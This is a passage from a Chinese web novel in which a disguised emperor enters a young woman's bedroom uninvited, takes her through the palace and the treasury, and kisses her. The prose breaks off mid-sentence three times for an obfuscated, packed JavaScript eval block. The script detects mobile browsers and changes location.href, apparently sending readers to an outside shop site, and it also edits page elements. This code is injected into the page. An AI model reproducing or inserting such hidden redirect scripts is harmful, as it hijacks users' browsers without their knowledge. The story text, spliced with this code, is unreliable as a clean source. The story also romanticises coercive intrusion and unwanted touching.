片刻后,他睁开眼,微微勾起唇角。 那笑容与他谪仙般的容貌全然不符,带着一种慵懒餍足后的邪气,眼神里一片深不见底的幽暗玩味。在午后的光影交错间,显现出一种惊心动魄的俊美。 “贺、佑、宁。” 他将这个名字在唇齿间无声地碾过一遍,眼里暗沉的笑意更深。 4. 国库 晨光熹微,薄如蝉翼的纱帐滤进几缕青白的天光。 拔步床上,贺佑宁正陷在柔软的被褥间沉睡。 乌黑浓密的长发铺满了半张枕头,几缕散落在莹白如玉的腮边,随着她清浅均匀的呼吸微微起伏。 云锦薄被只盖到腰间,她身上只着一件月白色软绫寝衣,领口因睡姿松开了些许,露出一段白皙细腻的脖颈和半边精巧的锁骨。长睫如两弯小小的扇,在眼睑下投出淡淡的阴影,樱唇不点而朱,睡得毫无防备。 床边的檀木圆凳上,赫然坐着一个人。 一袭素白如雪的长袍,宽大的袖口垂落,在朦胧的晨光里流淌着泠泠微光。 他身姿舒展地坐在那里,背脊挺得笔直。一手随意搭在膝头,另一手正拈着一根不知从何处摘来的,新鲜翠绿的狗尾巴草。 盯着少女看了半晌之后,他微微倾身,将手中狗尾巴草那毛茸茸的穗尖,轻轻拂过她小巧的鼻尖。 睡梦中的少女无意识地蹙了蹙眉,发出一声含糊的嘤咛,脑袋往枕头里蹭了蹭,试图避开那恼人的痒意。 男人的手顿了顿,随即,那草尖再次更轻更缓地扫过她微微翕动的鼻翼。 这一次,贺佑宁睫毛颤动得更厉害了些,迷迷糊糊地睁开了眼睛。 视线起初是模糊的,带着未醒的懵懂。她眨了眨眼,待看清床边那张俊美得不似凡人带着陌生兴味的脸庞时,所有的睡意如同被冰水当头浇下,瞬间清醒。 她猛地向后缩去,薄被被她慌乱地拽到身前紧紧攥住,一双眼眸瞪得滚圆,里面写满了无法置信。 是他!玄明! 他怎么会在这里?怎么会坐在她的床边?! “你……你怎么会在这儿?!” “来找你玩。” 李清述的回答轻描淡写,平淡得好像在说今日天气尚可。 他随手抛开了那根狗尾巴草,那双漆黑的眼眸里的兴味,似乎因为她的反应而更浓了一分。 他依旧那样坐着,白衣墨发,仙姿佚貌,与这少女闺阁格格不入,却又带着一种强烈的存在感。 玩?! 贺佑宁的脑中一片空白。 疯子! 她果然遇到了一个行事无法以常理来论的疯子! 她惊谔中夹杂着无语,“你……你们道观,都这般清闲的么?就没有其它事情要做吗?” 李清述闻言,姿态未变,只淡淡开口,声音清冷磁性,无甚温度:“观中事务,自有旁人打理。我不过是个挂名的闲人而已,无关紧要。” 挂名闲人?无关紧要? 贺佑宁一个字也不信。 哪个无关紧要的挂名闲人,能有这样的功夫,可以悄声无息神不知鬼不觉地出现在官家小姐的深闺内室里? 可眼下显然不是追究的时候。 她深吸了一口气,强压下心头的惊颤,声音努力平稳:“道长你……还请暂且回避。容我梳发更衣,这般模样实在不成体统。” “好。” 李清述缓缓站了起来,只说了一个字,便转身径直走向另一侧的窗台边,然后背对着她伫立。 他的步伐从容,仿佛在自己家中闲庭信步。 贺佑宁看着他的背影,有些手忙脚乱地掀开被子,她已顾不得太多,直接赤足踩在冰凉的地板上。 然后飞快地跑到镜台前,平缓了一下气息,强迫自己镇定,然后用最快的速度梳理长发,绾了一个最简单的发髻,接着插上一支金嵌玉步摇。 然后又从衣柜里匆匆取出一件鹅黄色绣折枝玉兰的襦裙换上。 她没有耽搁太久,因为总觉得窗边那道沉默的身影散发着无形的压力。 简单打理完之后,她走到他身后不远处,声音有些发紧:“我……我好了。” 李清述缓缓转身,眼神在她身上扫过。 这身鹅黄的衣裙,衬得她多了几分鲜嫩的娇俏,只是脸色有些紧张,眼神里带着一丝防备。 他没有说话,只是朝她伸出了一只手。 贺佑宁看着那只修长如玉竹的手,犹豫了一下。 但此刻,她似乎没有别的选择。 于是将自己的手慢慢放进他的掌心里。 他的手比她的大了许多,温热而有力,瞬间包裹住她。然后下一刻,他手臂微微用力揽住她的腰身,便将她带到了窗边。 贺佑宁看着大开的窗户和外面尚带寒意的清晨空气,心头猛地一跳,他不会要带她飞檐走壁吧? “等……等一下!我们不能偷偷从门口走吗?或者……叫辆马车?” 李清述没有回答她的问题,只是道:“抱紧。”他只说了这两个字,便揽着她,足尖轻轻一点。 失重的感觉再次袭来,在他跃出窗外的瞬间,贺佑宁几乎是本能地死死环住了他的脖颈,将脸埋在他胸膛里。 耳边风声骤起,眼前景物飞速下坠掠过,处于半空中的恐惧让贺佑宁有些发僵。 她此刻什么也想不起来了,只能感觉到他揽在腰间的手臂稳如磐石,以及他衣襟上传来那股清冽如雪后松林般的淡淡气息。 “去……去哪里?”她在呼啸的风声中,颤声问道,声音闷在他衣料里。 李清述的声音从头顶传来,清晰地穿透风声:“等到了你便知道了。” …… 李清述带着贺佑宁几个起落间,便悄无声息地掠过重重巍峨宫墙与琉璃瓦顶,最终轻盈地落在了一处最为恢弘庄严的宫殿飞檐之上。 下方是平整光润的金砖地面,远处隐约可见身着甲胄的侍卫身影如钉子般伫立,肃杀之气即使在高处也能隐隐感知。 贺佑宁被他揽着腰,双脚刚一触及实地,还未来得及从那令人晕眩的飞掠中缓过神,目光便不由自主地被眼前的景象慑住了。 雕梁画栋,盘龙立柱,明黄琉璃瓦在初升的日光下折射出耀眼光芒,处处彰显着无上威严与皇家气派。 这布局、这规制…… 她猛地倒吸一口凉气,一股寒意从脚底直窜头顶,连声音都变了调:“这……这是……皇宫?!” 她惊恐地转头看向身旁神情淡漠的李清述,压低声音:“你疯了?!擅闯禁宫是诛九族的死罪!” 李清述却只是微微偏头,目光落在她因极度恐惧而睁大的眼眸上,那里面清晰地映着他波澜不惊的脸。 他唇角似乎弯了一下,那弧度极淡,带着一种近乎残酷的漠然。 “怕什么。”他声音低沉,语气却平淡得像在讨论天气,“大不了我们一起死。” 一起死? 贺佑宁被他这轻描淡写却骇人听闻的话语惊得浑身冰凉。谁想要陪他这个疯子一起死啊?!她还想好好活命呢! 还未等她开口反驳,李清述已揽着她,身形如鬼魅般自檐角滑下,避开那几处对于他而言形同虚设的岗哨。 悄无声息地推开一扇虚掩的菱花隔扇门,闪身进入了一处极为宽敞、陈设奢华的殿室。 室内光线稍暗,却难掩其富丽堂皇。 紫檀木雕龙大床垂着明黄帐幔,地上铺着厚厚的波斯地毯,多宝阁上摆满珍玩,空气里弥漫着淡淡的龙涎香,氛围沉闷又威严。 贺佑宁腿一软,几乎要站不稳了,幸好被李清述稳稳扶住。她吓得连大气都不敢出,只觉心跳如擂鼓,每一次脉搏的跳动都像是在敲响丧钟。 李清述却仿佛对周遭令人窒息的皇家威仪视若无睹。 他轻轻松开她,径自走到寝宫一侧的紫檀嵌螺钿盥洗架旁。架上的赤金脸盆中,早已备好了温热的清水,旁边搭着雪白的贡缎面巾。玉制的皂盒、牙刷牙粉、犀角梳篦一应俱全,甚至还有一盒散发着清雅香气的宫廷御制面脂。 他先是用指尖试了试水温,随即转身,看向面色微微苍白,整个人似乎有些摇摇欲坠的贺佑宁。 “过来这里。”他说道。 贺佑宁的脚下如同生了根,动弹不得,“你……你到底想做什么?” “替你梳洗。”李清述言简意赅,甚至往前走了两步,缩短了两人之间的距离。他那双深色的眸子凝视着她,“皇帝下朝回来,惯例要在此更衣盥洗,涤去尘乏。你想不想体验一番?” “不……不要!”贺佑宁如同被烫到般猛地摇头,“这是僭越!是大不敬!我不敢!我们快走吧!” 李清述对她的话语置若罔闻。他径直走到她面前,伸出手,带着一种无法抗拒的力道,轻轻握住了她的手腕,将她带到盥洗架前。 贺佑宁呆若木鸡,看着他拿起那块雪白柔软的贡缎面巾,浸入温水中,然后拧得半干。 他转过身,面对着“动弹不得”的贺佑宁,抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155017|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手用那御用的面巾,极其仔细地轻轻擦拭她的脸颊。 微温湿润的布料拂过皮肤,带来轻柔的触感,可贺佑宁只感到无边的恐惧和担忧。 他的动作不疾不徐,甚至称得上细致,从她光洁饱满的额头,到因紧张而微微泛红的圆润脸颊,再到精致小巧的下颌。他的手指偶尔会隔着薄薄的面巾碰到她的皮肤。 擦完脸,他放下面巾,拿起那盒御制面脂,用指尖挑了一点,然后将那泛着清香的脂膏一一点在她的额头、脸颊、鼻尖、下巴。 他的指尖带着微凉的触感,每一次轻点都让她微微一颤。 最后,他用指腹极其缓慢而均匀地将脂膏在她脸上推开,动作间带着一种轻缓的温柔,与这周遭的环境和她的心绪形成了撕裂般的对比。 做完这一切,他退后半步,目光在她脸上逡巡。 贺佑宁脸上脂粉未施,只薄薄敷了一层御制面脂,肌肤显得越发莹润透亮,但那双眼睛里,却盛满了惊惶与无措,像受惊的小鹿。 “怕什么?”他忽然开口,声音低沉。 贺佑宁猛地抬眼看他,对上他那双平静无波的眸子。 怕什么? 她心中瞬间涌起一股荒诞的无语,你这个疯子当然什么都不怕了! 李清述似乎并不期待她的回答。他移开目光,抬眼瞥了一下角落的鎏金珐琅自鸣钟,淡淡道:“皇帝快下朝了。” 这句话如同惊雷,再次炸响在贺佑宁耳边,她浑身一个激灵。 李清述不再多言,再次上前,不由分说地将她打横抱起。 “是……是要回去吗?”贺佑宁已经失去了所有反抗的力气。 李清述没有回答,身形闪动,抱着她如同一缕轻烟,再次融入宫殿复杂的阴影与回廊之中。 这次的目标更加明确,他们穿过几道隐秘的侧门与复道,来到了一处守卫格外森严、门户厚重的殿宇前。 李清述不知用了什么手法,那沉重的铜锁悄无声息地打开,沉重的殿门被推开一道仅容一人通过的缝隙。 门内没有窗户,光线昏暗,但就在门开的瞬间,无数宝光骤然迸射,几乎晃花了贺佑宁的眼! 这是一座难以想象的宝库。 里面空间极其广阔,一眼望不到尽头。金银锭堆积成一座座小山,在长明灯的映照下反射着诱人又冰冷的光芒。 翡翠珊瑚树高大绚丽,夜明珠硕大如卵,随意搁置在箱笼之上,散发出柔和的辉光。成箱的珍珠宝石、古玩玉器、名家字画、犀角象牙……琳琅满目,应有尽有,许多宝物贺佑宁连名字都叫不出,只觉珠光宝气扑面而来,几乎令人窒息。 想必这里便是大邺王朝的国库了。 贺佑宁被眼前的景象震撼得说不出话来,但随即涌起的却是更深的恐惧。 李清述将她放下,目光扫过这无尽的财富,神情依旧淡漠,仿佛眼前只是寻常土石。他侧头看向贺佑宁,问:“你喜欢什么?” 偷盗国库?这比擅闯寝宫还要罪加十等! 贺佑宁猛地摇头,像是碰到了烙铁:“我什么都不喜欢!我们快走吧!”她只想立刻逃离这个可怕的地方。 李清述却像是没听见她的话。 他踱步走入宝山之中,目光挑剔地掠过那些价值连城的宝物。 最后,他停在某一处,随手拿起一串颗颗浑圆、泛着粉色霞光的极品珍珠项链,一枚鸽子蛋大小纯净无瑕的蓝宝石戒指,一对水头极足、翠色欲滴的翡翠镯子,又从一个铺着锦缎的盒子里拈起一颗鹅卵大小、光华内蕴的夜明珠。 他甚至没有多看那些金银,只挑了些精巧贵重、便于携带的珠宝。 不知他从哪里变出一方质地厚实柔软的暗色锦缎,将这几样东西随意包裹起来,打成一个不大不小却沉甸甸的包袱。 然后,他走回贺佑宁身边,不由分说地将这个“烫手山芋”塞进了她怀里。 “拿着。”他的语气不容反驳。 贺佑宁抱着那包袱,只觉得有千钧重,双臂都在轻轻发抖。这些绝世珍宝此刻在她怀中,像是一道道催命符,随时会引来灭顶之灾。 “我不要……”她试图推拒,语气弱弱。 李清述无视她的抗拒与恐惧,再次揽住她的腰,带着她如来时一般,悄无声息地离开了这座堆满财富的库房。 5. 御膳房 李清述揽着贺佑宁,并未立刻离开这危机四伏的宫禁之地。 他身形如鬼魅,带着她在宫殿群落间无声穿行,掠过一道道巍峨宫墙与寂静的回廊,最终悄然落在一处飘散着复杂食物香气,人声却相对低微的庞大院落附近。 几口巨大的铜缸立在院中,隐隐可见内里人影穿梭,蒸腾的热气从数间敞开的门内飘出,混合着油脂、香料、面点、炖汤的浓郁气味。 这里正是御膳房。 不同于国库与寝宫的绝对肃静,御膳房外围虽也有守卫,但内里忙碌嘈杂,反而更容易潜入。 李清述显然对宫中布局了如指掌,带着贺佑宁从一处堆放食材的侧院矮墙翻入,避开正忙碌的厨役杂工,悄无声息地闪进了一间宽敞明亮、灶台洁净的配膳间。 室内无人,只有数个巨大的多层食盒敞开摆放着。里面是刚刚精心烹制好,等待传膳的菜肴点心。 每一道都色泽鲜亮,摆盘精致,香气扑鼻。水晶蹄髈颤巍巍地泛着琥珀光泽,清蒸鲥鱼鳞光闪闪,腹中藏火腿笋片。虾饺玲珑小巧,晶莹剔透的。酥皮点心层层叠叠如绽放的花,更有各色时令鲜果、滋补甜汤…… 贺佑宁站在门口,怀里还抱着那沉甸甸的珠宝包袱,鼻端萦绕着前所未有的食物香气,肚子里传来一丝微弱的空鸣。 从清晨被他惊醒到现在,她滴水未进,又经历了连番惊吓,早已是饥肠辘辘。可理智告诉她,这里的一粒米一滴油都不能碰。 但是,皇帝的洗漱她体验过了,国库她也光顾了,好像不差这点吃的了…… 反应过来自己刚刚在想什么,贺佑宁不由得有些绝望。 怎么办,她好像也跟着他变疯了…… 李清述的眼神在琳琅满目的御膳上掠过,然后落回她脸上,自然没有错过微微发亮的眼神。 “想吃什么?”他问道。 这一次,贺佑宁没有立刻拒绝。 她的眼睛不由自主地被几样点心吸引。一碟做成桃花形状、粉嫩可爱的豆沙酥,一碗看起来清爽诱人的冰糖桂花炖奶,还有一小笼皮薄如纸、鲜香四溢的烧麦…… 她犹豫着,指尖无意识地蜷缩了一下,极轻极快地朝那三样东西指了指,随即又像被烫到般收回手。 李清述顺着她指的方向看了一眼,然后走到一旁,那里整齐码放着朱漆雕花食盒。 他取过一只空的,打开。 然后,他拿起一旁备用的银筷和细瓷碟,将她刚才点中的那碟桃花酥、炖奶、烧麦一一仔细地放入食盒的相应格层中。 他的动作不紧不慢,条理分明 装好之后,他合上食盒盖子,拎在手中。然后走回贺佑宁身边,另一只手再次揽住她的腰。 “走了。” 他们在宫内的一处幽静桃花林里停了下来。 此时正值花期,千万树桃花灼灼盛开,云蒸霞蔚,如锦似绣,甜馥的香气弥漫在空气里。 桃林深处,有一方平整空地,摆放着简单的石桌石凳,桌上甚至落了几片粉红的花瓣,显得清幽而宁静。 李清述将贺佑宁放下,将手中的食盒放在石桌上,自己也拂衣在石凳上坐下。他打开食盒盖子,里面御膳的香气混合着桃花的甜香,幽幽飘散出来。 他将那几样点心取出来,摆放在石桌上,“吃吧。” 贺佑宁站在桌边,怀里还抱着那包袱,看着石桌上香气诱人的点心,又看看四周如梦似幻却陌生的桃花林,最后看向对面那个俊美如谪仙,行事却又如妖魔的男人。 最终,腹中的饥饿和眼前点心的诱惑,暂时压过了部分恐惧。 她慢慢地在另一张石凳上坐下,将那个沉重的包袱小心地放在旁边,然后伸出微微发颤的手,拿起那副银筷。 她先夹起一个桃花酥,小口咬下。酥皮在口中化开,豆沙馅甜而不腻,带着淡淡的花香。又舀了一勺炖奶,滑嫩香甜,桂花的味道清雅怡人。烧麦的虾仁鲜甜弹牙,薄皮韧劲十足。 味道的确是难得的精妙。 李清述静静地看着她吃,目光落在贺佑宁低垂的眉眼和微微鼓动的腮帮上。漫天纷飞的桃花瓣偶尔飘落她的身上。 风过桃林,花雨簌簌。 贺佑宁吃完之后,一只修长玉白的手突然出现在她眼前,上面有一块干净柔软的贡缎帕子。 贺佑宁正想伸手接过。 而他却执起帕子,轻轻在她的唇角上擦拭着。 他的指尖隔着薄薄的帕子,几乎能感觉到她唇瓣的柔软和温度。贺佑宁浑身一僵,脸颊不由自主地开始发烫,整个人僵直地坐着。 擦完后,他收起帕子,望向她紧绷的小脸,问道:“这里好玩么?” 好玩? “一点也不好玩!”贺佑宁终于忍不住道:“我想回去了,你快点带我离开吧。” 李清述轻轻喟叹一声,“好吧。” 说完后,他揽住她的腰身,足尖一点,再次腾空而起,朝着来时的方向掠去。 李清述身轻如燕,抱着贺佑宁悄无声息精准地落回她闺房的窗外,然后稳稳地踏入室内,将她轻轻放在了冰凉的地板上。 双脚甫一沾地,那属于自己天地的安全感,终于勉强回归了一些。 贺佑宁急急开口,“你快走吧!免得被人发现了!”她现在只想盼着这尊煞神赶紧离开。 李清述站在窗前,逆着窗外渐亮的天光,白衣依旧纤尘不染,墨发如瀑,俊美的脸上神情淡漠。 他目光扫过她惊魂未定的小脸,最后落在她怀中那个鼓鼓囊囊的包袱上,忽然开口,声音平静无波:“今日,我赠了你礼物。” 贺佑宁一愣,随即看向怀里这堆“烫手山芋”,她简直想将这包袱直接砸回他脸上,但终究忍住了冲动。 她微微抿紧了唇。 见她沉默不语,李清述微微偏头,那双暗黑的眸子凝视着她,继续道:“你不回礼么?” 回礼? 贺佑宁愕然,可她知道,跟眼前这人讲道理是没用的。 她的目光在熟悉的闺房内扫视,最终落在了梳妆台上。那里摆着她日常用的首饰匣子,她伸手胡乱地在匣子里一抓,摸到了一块触手温润的物件。 是一枚羊脂白玉佩,上面雕刻着简单的祥云纹,玉质尚可,但绝非什么稀世珍宝。 她看也没看,连忙将那玉佩往李清述面前一递,声音又快又急:“给你!快走吧!” 李清述垂下眼帘,目光落在那枚被她紧紧攥着的玉佩上。 他并未立刻去接,而是看了片刻,才缓缓伸出修长的手指,从她的掌心中,将那枚犹带她体温的玉佩拈了起来。 他将玉佩握在掌心里,感受着那残留的暖意,指尖在上面祥云的纹路上轻轻摩挲了一下。 然后他抬眼再次看向贺佑宁,“还不够。” 他的声音很轻,却让贺佑宁心头猛地一跳,还不够?他还想要什么?她这房里还有什么能入他眼的? 未等她想明白,也未等她再次开口拒绝或询问,李清述已上前一步,瞬间缩短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155018|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两人之间那可怜的距离。 贺佑宁甚至来不及惊呼,只见他微微俯身,那张俊美得令人窒息的脸在她眼前迅速放大。 他并未做更过分的事情,只是极其自然地带着一种理所当然的占有姿态,微凉的唇轻轻却无比清晰地印在了她的额心。 那一吻如同蜻蜓点水,一触即分。 可贺佑宁却像被一道无声的惊雷劈中,整个人僵在原地。额心处那一点微凉柔软的触感,瞬间化为灼热的印记,烫得她头晕目眩。 李清述直起身,看着她瞬间石化,眸中又羞又惊的模样,眼底深处那丝幽暗的兴味似乎终于得到了些许满足。 他不再多言,将手中那枚羊脂白玉佩随意纳入袖中,然后身形微动,便如一片轻盈的云,自窗口翩然掠出,几个起落间,那抹月白色的身影便彻底消失在日光之后,再无踪迹。 屋内,只剩下了贺佑宁一人。 她呆呆地站着,慢慢抬起一只手,轻轻抚上自己的额心。那里似乎还残留着他唇瓣微凉的质感。 一股难以言喻的情绪涌上心头,复杂到她理不清。 这个人,强行闯入了她原本平静的世界,留下了一片混乱不堪的心绪,然后又轻飘飘地离开了。 贺佑宁望着空荡荡的窗口,正在愣神之际,身后忽然传来了声音,“岁岁,你怎么这么晚才起身?” 是姐姐贺瑾安的声音。 贺佑宁浑身一僵,心脏差点从喉咙里跳出来。她猛地转身,因动作太急,脚下还踉跄了一下,怀中包袱险些脱手,幸好被她死死抱住了。 贺瑾安正从门外走进来,她今日穿着一身淡紫色的折枝梅花纹褙子,下配月华裙,乌发绾成堕马髻,插着一支碧玉簪,面容秀丽,眉眼间带着惯常的温柔与一丝疑惑。 她见妹妹脸色发白,眼神慌乱,怀抱一个鼓鼓囊囊的陌生包袱站在窗前,不由得蹙了蹙眉:“怎么了?脸色这么难看?手里拿的什么?” “没……没什么!” 贺佑宁急中生智,连忙把包袱扔到一旁,然后上前两步,一把抱住了贺瑾安的手,将半边身子靠过去,用带着娇憨睡意的声音道: “阿姐……我昨晚……昨晚偷偷看了会儿新得的话本子,一时入了迷,睡得晚了些,今早便贪睡了嘛。” 她边说,边悄悄用身体巧妙地挡住了姐姐看向包袱的视线。 贺瑾安果然被她这撒娇的模样转移了注意力,无奈地叹了口气,伸出另一只手轻轻点了点她的额头:“你呀,总是这么贪玩。晚上看话本最是伤眼睛,下次可不许这样了,仔细母亲知道了说你。” “知道了知道了,下次不敢了。”贺佑宁连忙保证,心中却暗自松了口气。幸好阿姐只是随口一问,没有深究。 贺瑾安继续道:“对了,母亲今早说,府里新进了一批江南来的云锦和软烟罗,料子极好,花色也新颖,正叫我们两个过去挑选呢。你既是醒了,快随我一起过去看看吧。” “好啊!”贺佑宁道。 姐妹二人相携走出闺房。 晨光正好,洒在庭院中,花木扶疏,鸟语啁啾,仆役们井然有序地做着清扫。 贺佑宁挽着姐姐的手臂,走在熟悉的回廊上,感受着暖阳照在身上的温度,听着姐姐温声细语地说着料子的花色,打算裁什么样的新衣…… 她乖巧地应和着姐姐的话,心思却早已飘到了九霄云外。 今日之事会不会被人发现?那个自称玄明,行事无法无天的人究竟是谁?他还会再来吗? 6. 情之一字 苍翠山峦,林木掩映间,坐落着一座道观。观宇并不十分宏伟,却占尽地利,清幽古朴,一派宁静祥和。 李清述并未从正门入,身影如一道无声的流光,悄然落于后面一处独立僻静的精舍院内。 他步履从容地踏入正堂,身上那袭白衣依旧纤尘不染,只是腰间多了一枚白色玉佩。 舍内陈设简雅,一名身着靛蓝道袍的老道正盘坐于蒲团之上,须发皆白,面容清癯,手上持着拂尘,正在闭目养神。 听到脚步声,他缓缓睁眼,目光落在李清述脸上时,眼中不禁掠过一丝极淡的诧异。 这位年轻的帝王,是在十六岁那年于血雨腥风之中,踏着至亲尸骨登上至尊之位的。 时隔多年,他对于当时的情景,依旧历历在目。 那年初冬,先帝昏聩无能,听信谗言,下旨要将李清述圈禁至死。 李清述亲自执剑,一路从午门杀至乾清宫,剑锋所向,挡者披靡,鲜血染红了汉白玉阶。 在先帝歇斯底里的咒骂与哀求声中,他用那柄尚在滴血的剑,缓慢而坚定地送其归西。 那一夜,宫中伏尸千百,血水三日未净,哀嚎之声萦绕宫墙,久久不散。 先帝血脉几乎断绝。 李清述登基后,虽以雷霆手段稳住了朝局,但那股源于弑父杀亲、屠戮手足的冲天杀气与戾气,却如影随形。 行事手段狠辣,不看僧面不看佛面,毫不留情,令人闻之心怵,也因此而传出暴君之名。 在几位忠心耿耿的三朝老臣近乎以死相谏的恳求之下,他才“勉为其难”地移驾这澄心观静修,名义上是借道家清静之气涤荡心魔,镇压杀孽反噬。 然而悟真道人却明白心知肚明,这位主儿哪里是真心向道、压抑本性的? 那身飘飘白衣不过是便利的伪装而已。 他骨子里依旧是那个养心殿中弑君弑父、血洗宫廷的修罗,来此清修,不过是为了方便他随时隐匿身份,出入宫禁,去那外寻面些能激起他新鲜趣味的乐子罢了。 平日里见他,即便神色淡漠,也总凝着一股化不开的阴寒,那是无数亡魂缠绕不散的冷意,令人望之生畏。连观中修行多年的老道,在他面前也时常感到脊背发凉。 可此刻李清述的眼睛里,那股常年盘踞的隐约阴冷似乎淡去了些许。更让悟真道人惊异的是,他那张俊美却总缺乏人气的脸上,竟隐约含着一丝难以察觉的极淡笑意。 那笑意并非温和,而像是一种发现了极为有趣并且势在必得的猎物时,混合着兴味与掌控感的弧度。 悟真道人斟酌着开口:“陛下今日……似乎心情颇佳?可是在外面遇见了什么合心意的人或事物? 李清述走到窗边的紫檀木椅上坐下,闻言,他的眼前仿佛又掠过那张时而惊慌、时而羞恼的小脸。 他指尖无意识地摩挲了一下袖中的玉佩。 “的确遇到了。”他开口,声音依旧平淡,却多了一丝几不可辨的回味? 悟真道人心中一凛。 能让这位煞星用遇到了令他情绪有所波动的人或事,绝非寻常。 他顺着话头,带着几分感慨与试探,抚须叹道:“红尘万丈,机缘万千。其中情之一字最是莫测,亦最为伤人。” 他这话说得含蓄,既是提醒,也是担忧。他见识过这位主儿的手段,若真对什么人起了心思,那后果……恐怕难以预料。 李清述闻言,却并未如悟真道人预想的那般冷嗤或不悦。他反而微微偏头,看向窗外精舍庭院中一株遒劲的古松,日光透过松针落下斑驳光影。 “事在人为。”他的语气里带着一种狩猎般的笃定。 他并未多言,但悟真道人却从他这简短的回答中,读出了某种令人心悸的讯号。 这位煞星,只怕是已然志在必得了。 悟真道人暗叹一声,不再多言,只重新垂下眼帘,默默诵念起清净经。只盼那不知是幸或不幸被这位盯上的“机缘”,莫要落得个魂飞魄散的下场才好。 李清述却不再理会老道。 他靠在椅背上,闭上眼睛,指尖依旧轻轻捻着袖中那枚温润的玉佩,脑海中勾勒出一番景象。 那双清澈含羞的眼,那道清甜柔润的嗓音,以及在闺房之内,吻落在她额心上时,她瞬间僵直发懵的生动反应…… 一丝笑意在他唇角缓缓绽开。 …… 舍外忽然传来一阵极轻的的脚步声,恭谨之中暗含着几分焦急。 一个身着暗紫色内侍服,面容清瘦、眼神精明的老太监,正垂手肃立在院门外。 作为李清述身边最得用、也最知晓分寸的大太监,主子移驾澄心观“静修”,他自然也需随侍左右,打理一应琐事,并随时准备传递宫中的重要消息。 只是这位主子向来神出鬼没,他的行踪,即便是他也时常难以把握,只能在主子可能出现的几处地方轮流恭候。 今日,他已在此等了近半日,心中不免有些焦灼。宫中和朝堂虽在陛下铁腕下看似平稳,但每日仍有无数奏章、密报、请旨事宜需要决断,拖延不得。 张庆正思忖着是否要冒险入内,舍门却无声地开了。 李清述缓步走出,脸上那丝极淡的笑意已消失无踪,恢复了惯常的冷淡漠然。 他身上的白衣在阳光下显得有些刺目,周身那股无形的冷冽威压,让张庆深深低下头去,不敢直视。 “陛下。”张庆趋前一步,声音压得极低,带着十二分的恭顺,“您可回来了。奴才已在此恭候多时,有几份加急的奏报和南边来的密信,需请您御览定夺。另外,几位阁老递了牌子,说有要事求见,您看……” 李清述脚步未停,只淡淡“嗯”了一声,表示知道了。径直走向专门为他“清修”而准备的静室。 这座院落位于道观深处,外观与周围其他建筑无异,青砖灰瓦,古木掩映,但内里却大有乾坤。守卫皆是气息沉凝、眼神锐利的暗卫,明处暗处,不知布置了多少人手。 院落的核心是一间宽敞的书房,门窗皆用特殊材质加固,隔音绝佳。室内并无太多道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155019|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家陈设,是一处简练肃杀的御书房。巨大的紫檀木书案上,笔墨纸砚、奏章匣子、密信铜管一应俱全,摆放得一丝不苟。墙上悬挂着巨幅的疆域舆图,上面以不同颜色的小旗标注着军政要情。 李清述步入书房,在书案后那张宽大的黑檀木椅上坐下。 张庆早已手脚麻利地将需要处理的文书分门别类,整齐地码放在他手边,并用最快的速度,低声禀报了最重要的几件事项概要。 李清述不再言语,伸手拿起最上面的一份奏章。 那是一份关于盐政贪墨案的最终查办报告,牵扯数百名官吏,卷宗厚达寸许。 寻常皇帝处理此类复杂案件,至少需召集重臣反复商议,耗费数日乃至旬月。 然而李清述只是目光沉静地快速翻阅着,速度之快,几乎令人疑心他是否真的在看。 他的指尖偶尔在某一处细微的证供矛盾或数额差异上轻轻一点,张庆便心领神会,立刻在一旁的空白纸上记下要点。 不到半个时辰,那厚厚的卷宗已被他审阅完毕。 他提起朱笔,在最后的处置意见上,写下一个铁画银钩、力透纸背的“斩”字,又在旁边批注了十几条具体到人头、牵连范围、后续督办的要求,字字如刀,条理清晰,堵死了所有可能辗转腾挪的漏洞。 其思维之缜密,决断之冷酷,效率之高,令人胆寒。 接着是北境军镇换防的调度方案、江淮水患的赈济章程、西域商路税收新政的试行反馈……每一份文书,无论厚薄,到他手中,都仿佛被一道冰冷而锐利的剑光剖开,直指核心。 他很少犹豫,批注简洁有力,往往一语中的,切中要害。偶有需要权衡之处,他略一沉吟,便能提出连老于政务的阁臣都未必能立刻想到的、剑走偏锋却又行之有效的解决之道。 张庆侍立一旁,最初的那点焦急早已化为深深的敬畏与一丝不易察觉的恐惧。 他服侍这位主子多年,深知其可怖。李清述并非依靠废寝忘食的勤政来维持这种高效,那是一种近乎天赋的、冰冷到极致的理智与洞察力,混合着对权力与人心的精准把控,以及对流血与毁灭毫无顾忌的漠然。 在他眼中,国家政务或许如同一盘精妙的棋局,或是需要被驯服拆解的复杂机关,而他所做的,不过是运用他那超越常人的头脑和绝对的力量,去达成他想要的结果。 顺便满足他那些不足为外人道的,危险而隐秘的趣味。 